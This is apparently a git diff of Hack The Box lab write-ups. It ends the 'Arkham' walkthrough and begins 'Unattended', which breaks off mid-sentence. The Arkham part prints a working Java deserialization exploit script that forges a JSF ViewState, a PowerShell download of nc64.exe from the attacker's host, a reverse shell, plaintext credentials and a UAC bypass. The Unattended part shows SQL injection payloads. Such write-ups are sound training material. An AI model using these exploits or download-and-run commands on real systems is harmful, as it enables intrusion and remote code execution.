10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → cat IMPORTANT.txt + Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → file backup.img + backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e + + +And here we are dealing with a LUKS encrypted backup file which we have to crack, to do so we will first use dd to get the header hash: + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → dd if=backup.img of=luks-header bs=512 count=4097 + 4097+0 records in + 4097+0 records out + 2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342869 s, 61.2 MB/s + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → file luks-header + luks-header: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e + + + +Once we have it we can use hashcat on it, however I didn't check the payload offset beforehand therefore the luks header i have right here is not the correct one : + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → sudo cryptsetup luksDump backup.img + LUKS header information for backup.img + + Version: 1 + Cipher name: aes + Cipher mode: xts-plain64 + Hash spec: sha256 + **Payload offset: 4096** + MK bits: 256 + MK digest: 9a 35 ab 3d b2 fe 09 d6 5a 92 bd 01 50 35 a6 ab dc ea 01 47 + MK salt: 36 e8 8d 00 2f b0 3c 1f de 4d 9d 7b a6 9c 59 25 + 7a e7 1d d7 89 3d 9c ab ef b6 09 8c a8 7b 87 13 + MK iterations: 176409 + UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e + + Key Slot 0: ENABLED + Iterations: 2822546 + Salt: 3a db 8d 4b 9b f1 63 61 1b df a9 76 16 77 30 96 + 5c 32 a9 aa e4 e7 9d cf 4e f5 9b 3f a1 4c 27 2f + Key material offset: 8 + AF stripes: 4000 + Key Slot 1: DISABLED + Key Slot 2: DISABLED + Key Slot 3: DISABLED + Key Slot 4: DISABLED + Key Slot 5: DISABLED + Key Slot 6: DISABLED + Key Slot 7: DISABLED + + +So here we see that the payload offset is actually 4096. + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → dd if=backup.img of=luks-header bs=512 count=4097 + 4097+0 records in + 4097+0 records out + 2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342137 s, 61.3 MB/s + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → hashcat -m 14600 luks-header /usr/share/wordlists/rockyou.txt + + +Let it run, and once it's done we get the password "batmanforever". Now we can mount it using cryptsetup: + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → sudo cryptsetup luksOpen backup.img arkham + Enter passphrase for backup.img: + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → ls -lash /dev/mapper + total 0 + 0 drwxr-xr-x 2 root root 80 Apr 16 19:41 . + 0 drwxr-xr-x 20 root root 3.7K Apr 16 19:41 .. + 0 lrwxrwxrwx 1 root root 7 Apr 16 19:41 arkham -> ../dm-0 + 0 crw------- 1 root root 10, 236 Apr 16 19:41 control + + +Now that arkham is there in /dev/mapper we can mount it: + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → sudo mount /dev/mapper/arkham /mnt + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → cd /mnt + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt] + → ls + lost+found Mask + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt] + → cd Mask + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask] + → ls + docs joker.png me.jpg mycar.jpg robin.jpeg tomcat-stuff + + +We can simply use thunar to view the images in there: + +![](prg/40_004.png) + +We have a bunch of images, but the interesting part is in the tomcat-stuff directory. + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask] + → cd tomcat-stuff && ls + context.xml jaspic-providers.xml server.xml web.xml + faces-config.xml MANIFEST.MF tomcat-users.xml web.xml.bak + + +Preety much everything here is default except for web.xml.bak: + +![](prg/40_005.png) + +So this "secret" myfaces.SECRET value SnNGOTg3Ni0= can be used to decrypt the javax.faces.ViewState value which is very likely to contain a vulnerability as this [post](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) suggests: + + + POST /userSubscribe.faces HTTP/1.1 + Host: 10.10.10.130:8080 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.130:8080/userSubscribe.faces + Content-Type: application/x-www-form-urlencoded + Content-Length: 263 + DNT: 1 + Connection: close + Cookie: JSESSIONID=861F4560D9A76BB7B7FB1DEC2E950CD3 + Upgrade-Insecure-Requests: 1 + + j_id_jsp_1623871077_1%3Aemail=pr0metheus&j;_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j;_id_jsp_1623871077_1_SUBMIT=1&**javax.faces.ViewState=** wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D + + + +Now to do so we'll create a python script: + + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → ls + appserver.zip backup.img IMPORTANT.txt luks-header + + [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham] + → nano exploit.py + + + + from base64 import b64decode, b64encode + from hashlib import sha1 + + def decrypt_view_state(view_state): + key=b64decode('SnGOTg3Ni0=') + + print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D")) + + + +Now our problem here is that we don't know how it was encrypted, so we go and read the documentation and find the DES algorithm: + + + import pyDes, hmac + from base64 import b64decode, b64encode + from hashlib import sha1 + + def decrypt_view_state(view_state): + key=b64decode('SnGOTg3Ni0=') + obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) + view_state=b64decode(view_state) + view_state=view_state + b'\x00\x00\x00\x00' + print(len(view_state)) + dec = obj.decrypt(view_state) + return dec + + print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=")) + + +Which reveals us that we are working with a java object with padding. So from there we create a payload using ysoserial: + + + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar + --2020-04-17 08:38:02-- https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar + Resolving jitpack.io (jitpack.io)... 104.26.9.99, 104.26.8.99, 2606:4700:20::681a:863, ... + Connecting to jitpack.io (jitpack.io)|104.26.9.99|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: /com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar [following] + --2020-04-17 08:38:03-- https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar + Reusing existing connection to jitpack.io:443. + HTTP request sent, awaiting response... 200 OK + Length: 56112629 (54M) [application/java-archive] + Saving to: ‘ysoserial-master-SNAPSHOT.jar’ + + ysoserial-master-SNAPSH 100%[=============================>] 53.51M 9.50MB/s in 5.6s + + Last-modified header invalid -- time-stamp ignored. + 2020-04-17 08:38:08 (9.61 MB/s) - ‘ysoserial-master-SNAPSHOT.jar’ saved [56112629/56112629] + + + +From which we are able to do java -jar : + + + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → java -jar ysoserial-master-SNAPSHOT.jar + Y SO SERIAL? + Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]' + Available payload types: + Apr 17, 2020 8:38:44 AM org.reflections.Reflections scan + INFO: Reflections took 217 ms to scan 1 urls, producing 18 keys and 146 values + Payload Authors Dependencies + ------- ------- ------------ + BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 + C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 + Clojure @JackOfMostTrades clojure:1.8.0 + CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 + CommonsCollections1 @frohoff commons-collections:3.1 + CommonsCollections2 @frohoff commons-collections4:4.0 + CommonsCollections3 @frohoff commons-collections:3.1 + CommonsCollections4 @frohoff commons-collections4:4.0 + CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 + CommonsCollections6 @matthias_kaiser commons-collections:3.1 + CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 + FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 + Groovy1 @frohoff groovy:2.3.9 + Hibernate1 @mbechler + Hibernate2 @mbechler + JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + JRMPClient @mbechler + JRMPListener @mbechler + JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 + JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + Jdk7u21 @frohoff + Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 + MozillaRhino1 @matthias_kaiser js:1.7R2 + MozillaRhino2 @_tint0 js:1.7R2 + Myfaces1 @mbechler + Myfaces2 @mbechler + ROME @mbechler rome:1.0 + Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE + Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 + URLDNS @gebl + Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 + Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 + + + +in java myfaces there is alot of common collections, so we'll use CommonsCollections5: + + + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 10.10.14.3' + detailMessagetLjava/lang/String;[alueExpExceptionګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception>;xrjava.lang.Throwable5'9wLcausetLjava/lang/Throwable;L + stackTracet[Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpqpur[Ljava.lang.StackTraceElement;F*<<"9xpsrava.lang.StackTraceElementa Ś&BformatI; + lineNumberLclassLoaderNameq~LdeclaringClassq~fileNameq~L + methodNameq~L + moduleVersionq~xpQtappt&ysoserial.payloads.CommonsCollections5tCommonsCollections5.javat; getObjectppsq~ + q~q~q~ppsq~ 3q~ + tysoserial.GeneratePayloadtGeneratePayload.javatmainppsrjava.util.Collections$EmptyListz<****xpxsr4org.apache.commons.collections.keyvalue.TiedMapEntryқ9Lkeyq~LmaptLjava/util/Map;xptfoosr*org.apaiTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;V*4xpsr;org.apache.commons.collections.functors.ConstantTransformerXvAL iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformerk{|8[iArgst[Ljava/lang/Object;L + iMethodNameq~[ + iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;Xs)lxpt + getRuntimeur[Ljava.lang.Class;׮Zxpt getMethoduq~/vrjava.lang.String8z;Bxpvq~/sq~(uq~,puq~,tinvokeuq~/vrjava.lang.Objectxpvq~,sq~(ur[Ljava.lang.String;V{Gxptcmd /c ping -n 10.10.14.3texecuq~/q~4sq~$srjava.lang.Integer⠤8Ivaluexrjava.lang.Number + xpsrjava.util.HashMap`F + loadFactorI thresholdxp?@xx% + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 10.10.14.47' > payload.bin + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → nano exploit.py + +So we saved our payload as payload.bin, now we edit our previous exploit: + + + import pyDes, hmac + from base64 import b64decode, b64encode + from hashlib import sha1 + + def create_payload(): + payload=open('payload.bin','rb').read() + return encrypt_payload(payload) + + def encrypt_payload(payload): + key=b64decode('SnGOTg3Ni0=') + obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) + enc = obj.encrypt(payload) + hash_val = (hmac.new(key, bytes(enc),sha1).digest()) + payload= enc + hash_val + return b64encode(payload) + + def decrypt_view_state(view_state): + key=b64decode('SnGOTg3Ni0=') + obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) + view_state=b64decode(view_state) + view_state=view_state + b'\x00\x00\x00\x00' + dec = obj.decrypt(view_state) + return dec + + print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=")) + print(create_payload() + + +To which we add the http POST request we need: + + + import requests + import pyDes, hmac + from base64 import b64decode, b64encode + from hashlib import sha1 + + def create_payload(): + payload=open('payload.bin','rb').read() + return encrypt_payload(payload) + + def encrypt_payload(payload): + key=b64decode('SnGOTg3Ni0=') + obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) + enc = obj.encrypt(payload) + hash_val = (hmac.new(key, bytes(enc),sha1).digest()) + payload= enc + hash_val + return b64encode(payload) + + def decrypt_view_state(view_state): + key=b64decode('SnGOTg3Ni0=') + obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) + view_state=b64decode(view_state) + view_state=view_state + b'\x00\x00\x00\x00' + dec = obj.decrypt(view_state) + return dec + + #print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=")) + #print(create_payload()) + + def exploit(): + url='http://10.10.10.130:8080/userPr0metheus.faces' + view_state=create_payload() + data = { 'javax.faces.ViewState' : view_state } + requests.post(url,data=data) + + exploit() + + + +So here we have our exploit which sends a javax.faces.ViewState payload to ping ourselves basically. We could check it with the following command: + + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → tcpdump -i tun0 icmp + + + +So from here we need to upload nc64.exe to spawn a reverse shell: + + + [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham] + → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'powershell.exe -exec bypass Invoke-WebRequest "http://10.10.14.47:9000/nc64.exe" -OutFile "c:\windows\system32\spool\drivers\color\nc64.exe"' > xct_is_awesome + + + + +So far we've used [ippsec's](https://www.youtube.com/watch?v=krC5j1Ab44I) steps, but to for additional diversity, we can use [hipotermia's](https://hipotermia.pw/htb/arkham) python script in order to upload netcat and then use it to get a reverse shell: + + + import urllib + import base64 + import subprocess + import requests + import hashlib + import pyDes + import hmac + import sys + + url= "http://10.10.10.130:8080/userSubscribe.faces" + r=requests.get(url) + cookie=r.headers['set-cookie'] + + cmd=sys.argv[1] + + secret = base64.b64decode("SnNGOTg3Ni0=") + cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) + + ysoserial= 'java -jar ../ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' +cmd+'"' + payload=subprocess.check_output(ysoserial,shell=True) + payload=cipher.encrypt(payload) + hmacSignature= hmac.new(secret,payload,hashlib.sha1).digest() + payload=base64.b64encode(payload + hmacSignature) + payload=urllib.parse.quote(payload) + + headers = {"Cookie":cookie,"Content-Type":"application/x-www-form-urlencoded"} + data="j_id_jsp_1623871077_1%3Aemail=nihilist&j;_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j;_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState;="+payload + r= requests.post(url, data=data, headers=headers) + + + +As you can see i updated his script a bit because the urllib needed to become urllib.parse in python3, so we'll first test if it works by making the machine ping back to us : + +![](prg/40_006.png) + +And we made the machine ping us ! from there we need to make the machine download netcat.exe from us, and execute it. + +![](prg/40_007.png) + +it doesn't seem to work so we'll go for [snowscan's](https://snowscan.io/htb-writeup-arkham/) solution which consists in saving the netcat binary in \programdata\ instead. + +![](prg/40_008.png) + + + + [ 10.10.14.47/23 ] [ /dev/pts/8 ] [~/_HTB/Arkham] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.47] from (UNKNOWN) [10.10.10.130] 49779 + Microsoft Windows [Version 10.0.17763.107] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\tomcat\apache-tomcat-8.5.37\bin>whoami + whoami + arkham\alfred + + C:\tomcat\apache-tomcat-8.5.37\bin>cd C:\Users\Alfred\Desktop + cd C:\Users\Alfred\Desktop + + C:\Users\Alfred\Desktop>type user.txt + type user.txt + baXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now to privesc on this box we need to take a look into Alfred's download directory: + + + + C:\Users\Alfred\Desktop>cd .. + cd .. + + C:\Users\Alfred>cd Downloads + cd Downloads + + C:\Users\Alfred\Downloads>dir + dir + Volume in drive C has no label. + Volume Serial Number is FA90-3873 + + Directory of C:\Users\Alfred\Downloads + + 02/03/2019 08:48 AM <****DIR> . + 02/03/2019 08:48 AM <****DIR> .. + 02/03/2019 08:41 AM <****DIR> backups + 0 File(s) 0 bytes + 3 Dir(s) 7,898,488,832 bytes free + + C:\Users\Alfred\Downloads>cd backups + cd backups + + C:\Users\Alfred\Downloads\backups>dir + dir + Volume in drive C has no label. + Volume Serial Number is FA90-3873 + + Directory of C:\Users\Alfred\Downloads\backups + + 02/03/2019 08:41 AM <****DIR> . + 02/03/2019 08:41 AM <****DIR> .. + 02/03/2019 08:41 AM 124,257 backup.zip + 1 File(s) 124,257 bytes + 2 Dir(s) 7,898,488,832 bytes free + +Into which we find a certain backup.zip file that we send over to our local machine: + +![](prg/40_009.png) + +So we unzip it and we find an .ost file that is an Outlook email folder That we can read using readpst, which you can install like so : + + + + [ 10.10.14.47/23 ] [ /dev/pts/6 ] [~/_HTB/Arkham] + → sudo apt install pst-utils + + [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia] + → readpst alfred@arkham.local.ost + Opening PST file and indexes... + Processing Folder "Deleted Items" + Processing Folder "Inbox" + Processing Folder "Outbox" + Processing Folder "Sent Items" + Processing Folder "Calendar" + Processing Folder "Contacts" + Processing Folder "Conversation Action Settings" + Processing Folder "Drafts" + Processing Folder "Journal" + Processing Folder "Junk E-Mail" + Processing Folder "Notes" + Processing Folder "Tasks" + Processing Folder "Sync Issues" + "Inbox" - 0 items done, 7 items skipped. + Processing Folder "RSS Feeds" + Processing Folder "Quick Step Settings" + "alfred@arkham.local.ost" - 15 items done, 0 items skipped. + "Calendar" - 0 items done, 3 items skipped. + "Drafts" - 1 items done, 0 items skipped. + Processing Folder "Conflicts" + Processing Folder "Local Failures" + Processing Folder "Server Failures" + "Sync Issues" - 3 items done, 0 items skipped. + + +In the drafts folder we have an interesting email with a b64 encoded attached image: + + + + [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia] + → file Drafts.mbox + Drafts.mbox: HTML document, ASCII text, with very long lines + + [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia] + → nano Drafts.mbox + + + +` ![](prg/40_010.png) + + + echo 'B64STRING' | base64 -d > image001.png + + + +` ![](prg/40_011.png) + +And so from here we have the user batman's credentials : batman:Zx^#QZX+T!123 + + + + C:\Users\Alfred\Downloads\backups>net user batman + net user batman + User name Batman + Full Name + Comment + User's comment + Country/region code 001 (United States) + Account active Yes + Account expires Never + + Password last set 2/3/2019 9:25:50 AM + Password expires Never + Password changeable 2/3/2019 9:25:50 AM + Password required Yes + User may change password Yes + + Workstations allowed All + Logon script + User profile + Home directory + Last logon 4/18/2020 8:16:05 AM + + Logon hours allowed All + + Local Group Memberships *Administrators *Remote Management Use + *Users + Global Group memberships *None + The command completed successfully. + + + +here we see that batman is a member of the Administrator group. So we privesc to batman using powershell: + + + + C:\Users\Alfred>powershell + powershell + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + PS C:\Users\Alfred> $user = 'batman' + $user = 'batman' + PS C:\Users\Alfred> $pass = 'Zx^#QZX+T!123' + $pass = 'Zx^#QZX+T!123' + PS C:\Users\Alfred> $secPass = ConvertTo-SecureString $pass -AsPlainText -Force + $secPass = ConvertTo-SecureString $pass -AsPlainText -Force + PS C:\Users\Alfred> $cred = New-Object System.Management.Automation.PSCredential $user, $secPass + $cred = New-Object System.Management.Automation.PSCredential $user, $secPass + PS C:\Users\Alfred> enter-pssession -computername arkham -credential $cred + enter-pssession -computername arkham -credential $cred + [arkham]: PS C:\Users\Batman\Documents> whoami + whoami + arkham\batman + + + +Now that we are logged in as the user batman, we see that we can't actually get into the Administrator directory: + + + + [arkham]: PS C:\Users\Batman\Documents> cd \users\administrator\desktop + cd \users\administrator\desktop + [arkham]: PS C:\Users\Batman\Documents> + + + +So next up we'll use [snowscan's](https://snowscan.io/htb-writeup-arkham/) unintended privesc solution which was to first check that UAC was enabled, which explains why we couldn't get into the Administrator's directory as batman: + + + + [arkham]: PS C:\Users\Batman\Documents> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA + (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA + 1 + + + +But for some reason, if we use the UNC paths we could get access to the administrator directory, which gets the root flag: + + + C:\Users\Batman\Documents>pushd \\10.10.10.130\c$ + + Z:\>cd \users\administrator\desktop + + Z:\Users\Administrator\Desktop>dir + Volume in drive Z has no label. + Volume Serial Number is FA90-3873 + + Directory of Z:\Users\Administrator\Desktop + + 02/03/2019 09:32 AM <****DIR> . + 02/03/2019 09:32 AM <****DIR> .. + 02/03/2019 09:32 AM 70 root.txt + 1 File(s) 70 bytes + 2 Dir(s) 8,710,045,696 bytes free + + Z:\Users\Administrator\Desktop>type root.txt + type root.txt + 63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +Another way was to remember that we could mount shares, therefore mapping the C$ volume in G: + + + + [arkham]: PS C:\Users\Batman\Documents> net use G: \\10.10.10.130\C$ + net use G: \\10.10.10.130\C$ + The command completed successfully. + + + [arkham]: PS C:\Users\Batman\Documents> fsutil fsinfo drives + fsutil fsinfo drives + + Drives: C:\ D:\ G:\ + + + +And from there simply typing the root flag : + + + + [arkham]: PS C:\Users\Batman\Documents> type G:\Users\Administrator\Desktop\root.txt + type G:\Users\Administrator\Desktop\root.txt + 63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/40_graph.png) + diff --git a/Medium/41.md b/Medium/41.md new file mode 100644 index 0000000..cd76aef --- /dev/null +++ b/Medium/41.md @@ -0,0 +1,1400 @@ +# Unattended Writeup + +![](img/41.png) + +## Introduction : + +Unattended is a Medium-Hard linux box released back in April 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + + [ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] + → ping 10.10.10.126 -c1 + PING 10.10.10.126 (10.10.10.126) 56(84) bytes of data. + 64 bytes from 10.10.10.126: icmp_seq=1 ttl=63 time=94.7 ms + + --- 10.10.10.126 ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 94.701/94.701/94.701/0.000 ms + + [ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] + → sudo nmap -vvv -sTU -p- 10.10.10.126 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + [sudo] password for nothing: + Discovered open port 80/tcp on 10.10.10.126 + Discovered open port 443/tcp on 10.10.10.126 + + [ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] + → nmap -sCV -p80,443 10.10.10.126 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-18 13:59 BST + Nmap scan report for 10.10.10.126 + Host is up (0.12s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http nginx 1.10.3 + |_http-server-header: nginx/1.10.3 + |_http-title: Site doesn't have a title (text/html). + 443/tcp open ssl/http nginx 1.10.3 + |_http-server-header: nginx/1.10.3 + |_http-title: Site doesn't have a title (text/html). + | ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT + | Not valid before: 2018-12-19T09:43:58 + |_Not valid after: 2021-09-13T09:43:58 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 22.79 seconds + + + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes] + → whoami + root + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes] + → echo '10.10.10.126 www.nestedflanders.htb' >> /etc/hosts + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes] + → cat /etc/hosts + 127.0.0.1 localhost + 127.0.1.1 nowhere + + # The following lines are desirable for IPv6 capable hosts + ::1 localhost ip6-localhost ip6-loopback + ff02::1 ip6-allnodes + ff02::2 ip6-allrouters + 10.10.10.126 www.nestedflanders.htb + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up that this is a web based box, so let's investiate the following : + + + http://10.10.10.126/ + http://www.nestedflanders.htb/ + https://www.nestedflanders.htb/ + + +` ![](prg/41_001.png) + +So here we are greeted by a default page on https://www.nestedflanders.htb , not too interesting so we enumerate it further using dirsearch: + + + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/Desktop/Tools] + → dirsearch -u https://www.nestedflanders.htb/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,php,html,xml -x 503 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, php, html, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521 + + Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-18_14-18-55.log + + Target: https://www.nestedflanders.htb/ + + + +This is a https service so as you can expect, it is painfully slow to enumerate, but once it is finished we find the /dev directory: + +![](prg/41_002.png) + +Looking at index.php we see that we have pages that are being included with the "id" parameter: + +![](prg/41_003.png) + +At first glance there is nothing that seems dynamic other than the id parameter that includes the pages, So we run sqlmap on the page to see if we can find a SQL injection in the id parameter: + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 -p id + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.4.3#stable} + |_ -| . ['] | .'| . | + |___|_ [']_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 20:56:32 /2020-04-19/ + + [...] + + GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y + sqlmap identified the following injection point(s) with a total of 298 HTTP(s) requests: + --- + Parameter: id (GET) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: id=587' AND (SELECT 1303 FROM (SELECT(SLEEP(5)))AQHN) AND 'Wunt'='Wunt + --- + [20:59:04] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [20:59:04] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' + + [*] ending @ 20:59:04 /2020-04-19/ + + + +So it looks like the id parameter is injectable, so we check the current database using the 